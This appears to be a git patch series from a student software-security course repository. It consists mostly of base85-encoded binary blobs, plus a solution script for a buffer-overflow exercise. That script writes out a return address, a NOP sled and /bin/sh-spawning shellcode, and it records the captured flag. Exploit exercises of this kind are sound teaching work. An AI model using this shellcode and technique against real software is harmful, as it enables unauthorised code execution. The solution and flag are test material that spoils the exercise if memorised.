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 Pit}ONS*DDzspP)^FYyv} literal 0 HcmV?d00001 -- 2.46.0 From cf06a6813e22854862d10d785d83e310407a4871 Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Fri, 14 Jun 2024 16:39:27 +0200 Subject: [PATCH 06/16] [Assignment-6] solution task 6 (nop sliding) --- .../slide_rider/solution.sh | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100755 Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh diff --git a/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh b/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh new file mode 100755 index 0000000..80fe801 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/ + +# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN} + +######### Exploit ######### +# Step 1: Fill the buffer with a candidate return address +printf "\x0c\xd6\xff\xff%.0s" {1..30} + +# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode +printf "\x90%.0s" {1..2000} + +# Step 3: Write the provided shellcode to stdout +printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" +########################### -- 2.46.0 From 8e4f6932e5728fdeb71b9a1be91a82d7bc280611 Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Fri, 14 Jun 2024 16:47:22 +0200 Subject: [PATCH 07/16] [Assignment-6] setup task 7 (stack canaries) --- .../Bildschirmfoto vom 2024-06-14 16-42-44.png | Bin 0 -> 42980 bytes .../fake_canary/canary | Bin 0 -> 15868 bytes .../fake_canary/flag | 1 + 3 files changed, 1 insertion(+) create mode 100644 Assignment 6 - Software Security - Teil 2/fake_canary/Bildschirmfoto vom 2024-06-14 16-42-44.png create mode 100755 Assignment 6 - Software Security - Teil 2/fake_canary/canary create mode 100644 Assignment 6 - Software Security - Teil 2/fake_canary/flag diff --git a/Assignment 6 - Software Security - Teil 2/fake_canary/Bildschirmfoto vom 2024-06-14 16-42-44.png b/Assignment 6 - Software Security - Teil 2/fake_canary/Bildschirmfoto vom 2024-06-14 16-42-44.png new file mode 100644 index 0000000000000000000000000000000000000000..c82aa4d7bb66fea5d14bd6675c58973cd4157796 GIT binary patch literal 42980 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 